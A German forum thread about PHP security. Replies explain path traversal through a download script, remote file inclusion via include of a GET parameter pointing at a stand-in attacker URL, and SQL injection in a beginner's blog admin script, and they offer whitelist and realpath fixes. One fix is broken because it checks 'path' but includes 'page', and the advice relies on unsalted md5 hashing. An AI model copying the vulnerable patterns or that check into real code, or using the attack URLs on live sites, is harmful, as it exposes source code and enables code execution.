• Jetzt anmelden. Es dauert nur 2 Minuten und ist kostenlos!

PHP-Code sichtbar?

vitus37

Senior HTML'ler
Immer wieder stosse ich bei PHP-Tutorials auf die Bemerkung, bei bestimmten Scripts könnte eine Gefahr bestehen, dass PHP-Dateien sichtbar im Browser ausgegeben werden...
Wie kann das sein? ich dachte PHP is komplett serverbasiert?
Ich vermute mal es besteht vllt eine Möglichkeit, in Eingabefelder irgendetwas in PHP einzugeben (zB Email-Formular) und dann irgendwas rum zu hacken, aber lässt sich so auch script sichtbar machen?
MfG Vitus
 
Klassisches Beispiel:

Du hast ein Downloadscript (download.php), mit dem Dateien aus dem Unterordner "./geheim/" (macht Direktdownloads unmöglich, weil korrekte URL nicht bekannt) heruntergeladen werden können. Außerdem soll das Script zum Beispiel zählen, wie häufig eine Datei heruntergeladen wurde:

PHP:
<?php

$dir = './geheim/';

if (isset($_GET['file']) && file_exists($dir . $_GET['file'])) {

    // Increase download counter for this file
    // [...]

    readfile($dir . $_GET['file']);
}

Das wird im HTML-Code etwa so eingebunden:

HTML:
<a href="download.php?file=tolles-video.mp4">Video herunterladen</a>

Angriffsszenario:

Der Besucher tippt http://example.com/download.php?file=../index.php in die Adresszeile und drückt Enter. Damit bekommt er den Quellcode von http://example.com/index.php ausgeliefert, denn readfile() gibt stumpf den Inhalt einer Datei zurück. Aus dem Quellcode kann er genug Informationen gewinnen, um an die Datenbankzugangsdaten zu gelangen. Dann reicht je nach Webspace-Anbieter der Aufruf einer bekannten URL (z. B. http://example.com/mysqladmin) und der Angreifer ist im Admin-Interface der DB.
 
Zuletzt bearbeitet:
Ein Schreibfehler im Code, schon wird dieser auch Sichtbar. Z.B. sowas:

Code:
?php
echo "hallo";
?>

;)
 
Oder beim include() von Dateien. Hier ist keine Dateiendung vorgeschrieben, allerdings wenn Du dafür eine Dateiendung wählst, die unverändert an den Client geschickt wird, dann ist es blöd, wenn es sich dabei um ein Includefile handelt, das Deine Logindaten für Deine Datenbank enthält. :-)
 
Wow, ziemlich interessant zu wissen auf welche Kleinigkeiten man achten muss, um Hacks zu verhindern.
Ich hätte mal noch eine Frage:
Wenn man mit $_POST einen Wert entgegennimmt, wird dieser dann als String behandelt?
Wenn ja, mit doppelten oder einfachen Anführungszeichen?
Denn dann bestünde ja auch die Gefahr, man gibt in ein Textfeld zB folgenden Text ein:
PHP:
"; irgendeinPHPCode echo "
Wenn das PHP-Script dann diesen Code enthält:
PHP:
$text = $_POST['text'];
echo $text;
Würde bei meinem Beispiel dann die Anweisung echo mit dem "; unterbrochen und mit dem Code aus dem Eingabefeld fortgeführt?
LG Vitus
 
jep, würde er

einfach oder doppelte quotes ist eigentlich egal, was zwischen double-quotes steht wird nur interpretiert (z.b. echo "das ist $var"; würde $var interpretieren und durch den entsprechenden wert ersetzen ) , single quotes interpretieren nicht.

$_POST['text'] hat damit nichts zu tun.
 
Um noch einmal genau auf deine Frage bezüglich der Sicherheit zu antworten:

Das ist an der Stelle nicht problematisch. Der Inhalt von $_POST['text'] wird nicht vor dem Ausführen in den Quellcode gesetzt und dann als Quellcode angesehen. Er wird erst während des Ausführens irgendwo aus dem Speicher geholt und eins zu eins als Kette von Bytes/Zeichen verarbeitet. Variablensubstitution findet generell nur dort statt, wo entsprechende Strings in doppelten Anführungszeichen direkt in den PHP-Quellcodedateien stehen.

Sonstige Zeichenketten (zum Beispiel auch die Inhalte von eingelesenen Textdateien) werden -- gewissermaßen ausnahmsweise (!) -- als PHP-Code interpretiert, wenn sie per include (o. ä.) eingebunden werden oder explizit durch die Funktion eval geschickt werden. (Auf deren Einsatz solltest du genau aus diesem Grund verzichten.)

Wir hatten hier im Forum neulich mal den Fall eines Uploadscripts, bei dem beliebige Dateien in ein bekanntes Verzeichnis auf dem Webserver des Users hochgeladen werden konnten. Auf diese Weise war es auch möglich, etwa eine Datei "hack.php" hochzuladen und durch Eintippen der entsprechenden URL im Browser als PHP-Code auf dem Server auszuführen. Das ist natürlich eine noch eklatantere Sicherheitslücke als das in meinem ersten Post umrissene Downloadscript. Mit ein paar Zeilen Code ließen sich so zum Beispiel ganze Verzeichnisse auf dem Webspace löschen.

Das ist eine der beiden Möglichkeiten, die mir spontan einfallen, PHP-Code einzuschleusen. Die andere funktioniert ähnlich wie beim Downloadscript über einen GET-Parameter[1]:

PHP:
<?php

include $_GET['page'];

Bei bestimmten Servereinstellungen ginge dann wohl sowas:

http://example.org/index.php?page=http://<seite-des-angreifers>/einschleusen.php

Das sollte aber in der Regel in den Einstellungen des Webservers unterbunden sein (Stichwort: allow-url-include).

Dass es trotzdem keine gute Idee ist, Dateinamen ungeprüft aus Variablen zu nehmen, die der Besucher manipulieren kann, dürfte inzwischen aber klar sein. ;)



1: GET/POST/COOKIE sind bei sowas als gleich problematisch anzusehen. Alle drei Felder werden mit Werten gefüllt, die vom Benutzer manipuliert werden können.



Edit: Gab zufällig heute auch auf php.de einen Thread zu "Include-Injection".
 
Zuletzt bearbeitet:
include $_GET['page'];

könnte man auch dadurch etwas absichern, indem man z.b. einen teil des pfades (sofern vorhanden) FEST coded.

include "pfad/".$_GET['page'];

abprüfen, ob die seite oder datei in einem lokalen entsprechenden verzeichnis vorhanden ist, ist ein muss. $_GET ist übrigens die schlechteste variante, derartige seiten sollte man mit $_POST übergeben ums dem einbrecher wieder etwas schwerer zu machen. hindernis ist das freilich auch keines.....
 
könnte man auch dadurch etwas absichern, indem man z.b. einen teil des pfades (sofern vorhanden) FEST coded.

[/COLOR][/COLOR]include "pfad/".$_GET['page'];
[/QUOTE]

Sicherheit bringt das keine!

&page=../../foo


Grade in punkto Sicherheit gibt es sehr viel zu beachten.


um nochmal auf deine Urspringsfrage zurück zu kommen, über die Variabel kannst du direkt keinen PHP Code ausführen. Jedoch immer an stellen wo du selbst dir irgendwas zusammenbastelst.

generell gehören $_GET / $_POST / $_REQUEST / $_ENV (teilweise) / $_COOKIE / $_SESSION / $_SERVER (teilweise)


Du solltest dir merken:
variabeln nie blank in irgendwelche Querys.
Nie einfach über ein Echo ausgegeben.
Nie einen Pfad anhand von Usereingaben zusammenbasteln
Bei der header Funktion aufpassen
Funktionen wie System, ... aufpassen
 
Zuletzt bearbeitet:
sysop schrieb:
PHP:
include $_GET['page'];

könnte man auch dadurch etwas absichern, indem man z.b. einen teil des pfades (sofern vorhanden) FEST coded.

PHP:
include "pfad/".$_GET['page'];

Ja, damit das "allow-url-include"-Beispiel zur Sicherheitslücke wird, müssen schon etliche Faktoren zusammenkommen. Das war etwas theoretisch. :)

$_GET ist übrigens die schlechteste variante, derartige seiten sollte man mit $_POST übergeben ums dem einbrecher wieder etwas schwerer zu machen.

Wenn die Variable Teil der URL sein soll (zum Beispiel für Links), geht nur $_GET.

Ich habe mal irgendwo in einer W3C-Empfehlung gelesen, dass POST dann verwendet werden sollte, wenn die Operation im weiteren Sinne "Daten manipuliert" (zum Beispiel Hinzufügen eines Datenbankeintrags, Versenden einer Mail) und GET dann, wenn die Operation "seiteneffektfrei" lediglich Informationen zur Darstellung abruft.

BTT:

Eine Lösung für URL-Parameter-Angriffe wäre eine Whitelist:

PHP:
$allowedPages = array('index.php', 'about.php', 'contact.php');

if (isset($_GET['page']) && in_array($_GET['page'], $allowedPages)) {
    include './pfad/' . $_GET['page'];
} else {
    die('Seite nicht vorhanden.');
}

Eine andere Lösung, die zumindest das passende Verzeichnis sicherstellt, ist die Funktion realpath, die u. a. '../'-Komponenten auflöst:

PHP:
$includeDir = '/erlaubter/include/pfad/'; // muss absolut sein

if (isset($_GET['path'])
    && strpos((string) realpath($includeDir . $_GET['path']), $includeDir) === 0
) {
    include $includeDir . $_GET['page'];
} else {
    die('Seite nicht vorhanden.');
}

Die beste Lösung ist es, gar nicht erst URL-Parameter direkt in Pfaden zu verbauen, klar. :)

Ansonsten siehe freak131s Checkliste. Praktische Funktionen sind mysql_real_escape_string (für Variablen in DB-Queries) und htmlspecialchars (für die Ausgabe von Variablen).
 
Die Idee ist die hier:

PHP:
<?php

function checkInclude($includeDir, $path)
{
    if (strpos((string) realpath($includeDir . $path), $includeDir) === 0) {
        return 'OK: ' . $path;
    } else {
        return 'Error: ' . $path;
    }
}

$includeDir = realpath('./inc') . '/';
$tests      = array('test.php', '../test.php', './test.php');

foreach ($tests as $test) {
    echo checkInclude($includeDir, $test) . '<br />';
}

./inc/test.php muss existieren.
 
Man könnte die URLs auch alle in eine Datenbank schreiben und in der URL nur eine irgendwie geartete ID übergeben, mit der dann der richtige Seitenname aus der DB ermittelt wird.
 
Ist mein Admin sicher? / Formulardaten prüfen?

Ok, ich glaube ich habe eure Hinweise auf meiner Seite relativ beachtet.
Aber, wie so oft, habe ich noch eine Frage dazu :P

Habe mir am Wochenende mein erstes Blogscript zusammengebastelt. Verläuft relativ einfach: Jeder neue Blogeintrag wird in den Spalten id, date, time, titel und beitrag einer tabelle gespeichert. Klappt alles wunderbar :grin::-P

Um mir aber eine Menge Aufwand zu ersparen wollte auch ich ein kleines Admin. Dieses besteht aus einer Seite. Darauf zu finden sind vier Textfelder (Username, Password, Titel und Beitrag). Alle vier gehören zu einem Formular, und müssen für jeden Beitrag neu ausgefüllt werden (Grund: Die Sessions-Funktionen habe ich noch nicht gelernt.);ugl

So sieht das Script zur verarbeitung aus:
PHP:
if(isset($_POST['set'])){
    $name = md5($_POST['name']);
    $pass = md5($_POST['pass']);

    if($name == md5("admin") and $pass == md5("passwort")){
        $titel = $_POST['titel'];
        $text = str_replace("\r\n", "<br />", $_POST['text']);
        $date = date("d.m.Y");
        $time = date("H:i");

        require('config.php');
        $connect = mysqli_connect($db_server, $db_user, $db_pass, $db_database) or die('Verbindung zur DB fehlgeschlagen');
        $last_id = "SELECT `id` FROM `blogbeitraege` ORDER BY `id` DESC LIMIT 0,1";
        $last_id_query = mysqli_query($connect, $last_id) or die(mysqli_error());
        while($last_id_fetch = mysqli_fetch_array($last_id_query)){
            $last_id_fetch_one = $last_id_fetch['id'] + 1;
        }
        $sql = "INSERT INTO `blogbeitraege` (`date`, `id`, `time`, `titel`, `beitrag`) VALUES ('".$date."', '".$last_id_fetch_one."', '".$time."', '".$titel."', '".$text."')";
        $query = mysqli_query($connect, $sql) or die(mysqli_error());
        if($query == TRUE){
            echo "Beitrag hinzugefügt<br /><br />";
        }
        mysqli_close($connect);
    }else{
        echo "Benutzereingaben falsch<br /><br />";
    }
}
Wäre dieses Admin nun sicher? Schliesslich werden die Login-Daten mit md5 verschlüsselt, und Titel bzw. Beitrag garnicht erst angerührt, wenn die Login-Daten nicht stimmen.:?:

Und wenn ich nun bei meinem Blog noch eine Kommentar-Funktion einbauen möchte, wie kann ich sicherstellen, dass als Kommentar nichts schädliches eingegeben wurde? Schliesslich möchte ich nichts auf meinem Server gefährden...:?:

Danke für eure Antworten! :D
LG Vitus:razz:
 
Spalten id, date, time, titel und beitrag

Die Spalten "date" und "time" könntest du in einer Spalte vom Typ DATETIME zusammenfassen.

PHP:
    $name = md5($_POST['name']);
    $pass = md5($_POST['pass']);

    if($name == md5("admin") and $pass == md5("passwort")){

Hier solltest du nur $_POST['pass'] durch md5() schicken und statt md5('admin') einfach 'admin' und statt md5('passwort') bereits den fertigen Hash in den Code schreiben. Die Idee dahinter ist, das Passwort nicht in Reinschrift im Quellcode stehen zu haben.

Ach, ich schreibe dir der Einfachheit halber mal, wie ich es machen würde:

(Ungetestet)

PHP:
<?php
/**
 * Einige allgemeine Anmerkungen:
 *
 * - Die Datenbanktabelle sollte die Felder "id", "titel", "beitrag", "date"
 *   (oder so ähnlich) enthalten.
 *
 * - "id" sollte als Primärschlüssel (PRIMARY KEY) definiert sein und
 *   automatisch erhöht werden (AUTO_INCREMENT).
 * 
 * - "date" sollte vom Typ DATETIME sein, eine Auftrennung in Datum und Zeit ist
 *   nicht sinnvoll. MySQL kann sehr gut mit einem kombinierten Feld umgehen.
 */

if (isset($_POST['set'])) {
    // Speichert aufgetretene Fehler zur späteren Ausgabe zwischen
    $errors = array();

    // Sicherstellen, dass alle benötigten Felder tatsächlich in $_POST gesetzt
    // sind
    foreach (array('name', 'pass', 'titel', 'text') as $field) {
        $_POST[$field]  = (isset($_POST[$field]))  ? trim($_POST[$field])  : '';
        if ($_POST[$field] == '') {
            // Falls Feldinhalt leer, Fehlermeldung hinzufügen
            $errors[] = 'Feld "' . $field . '" nicht gesetzt.';
        }
    }

    // Falls bisher noch kein Fehler, aber 'name' oder 'passwort' falsch gesetzt,
    // entsprechenden Fehler hinzufügen
    if (count($errors) == 0
        && ($_POST['name'] != 'admin' 
            || md5($_POST['pass']) != 'e22a63fb76874c99488435f26b117e37')
    ) {
        $errors[] = 'Kombination Benutzername/Passwort existiert nicht.';
    }

    // Falls bisher noch kein Fehler, Daten in Datenbank eintragen
    if (count($errors) == 0) {
        require 'config.php';

        $connect = mysqli_connect($db_server, $db_user, $db_pass, $db_database)
                   or die('Verbindung zur DB fehlgeschlagen');

        // Das Ersetzen der Zeilenumbrüche durch <br>-Tags, sollte meiner
        // meiner Meinung nach erst bei Ausgabe geschehen. In die Datenbank
        // sollten nach Möglichkeit die unveränderten Originaldaten geschrieben
        // werden

        // Escapen der Eingaben nicht vergessen (Stichwort: "SQL Injection")
        $sql     = "INSERT INTO `blogbeitraege`
                        (`date`,
                         `id`,
                         `titel`,
                         `beitrag`)
                    VALUES (NOW(),
                            null,
                            '" . mysqli_real_escape_string($connect, $_POST['titel']) . "',
                            '" . mysqli_real_escape_string($connect, $_POST['text']) . "')";

        $query = mysqli_query($connect, $sql) or die(mysqli_error());
        if (!$query) {
            $errors[] = 'Eingaben konnten nicht in Datenbank geschrieben werden.';
        }
        mysqli_close($connect);
    }
}

// Ende der Verarbeitungslogik. Ab hier beginnt die Ausgabe

?>

<?php if (isset($_POST['set'])): ?>

    <?php if (count($errors) > 0): ?>
        <?php foreach ($errors as $error): ?>
            <p><?php echo htmlspecialchars($error); ?></p>
        <?php endforeach; ?>
    <?php else: ?>
        <p>Eintrag hinzugefügt.</p>
    <?php endif; ?>

<?php else: ?>

    <p>Eingabeformular oder so</p>

<?php endif; ?>
 
Zuletzt bearbeitet:
Wooow!
Vielen vielen Dank! Super! :D
Echt klasse!:grin:
Ist genau das was ich brauche!:)

Aber zu der Frage mit den Kommentaren... Wie kann ich dort prüfen ob nichts schädliches in den Eingabefeldern steht? ..
Danke'! Vitus
 
Zurück
Oben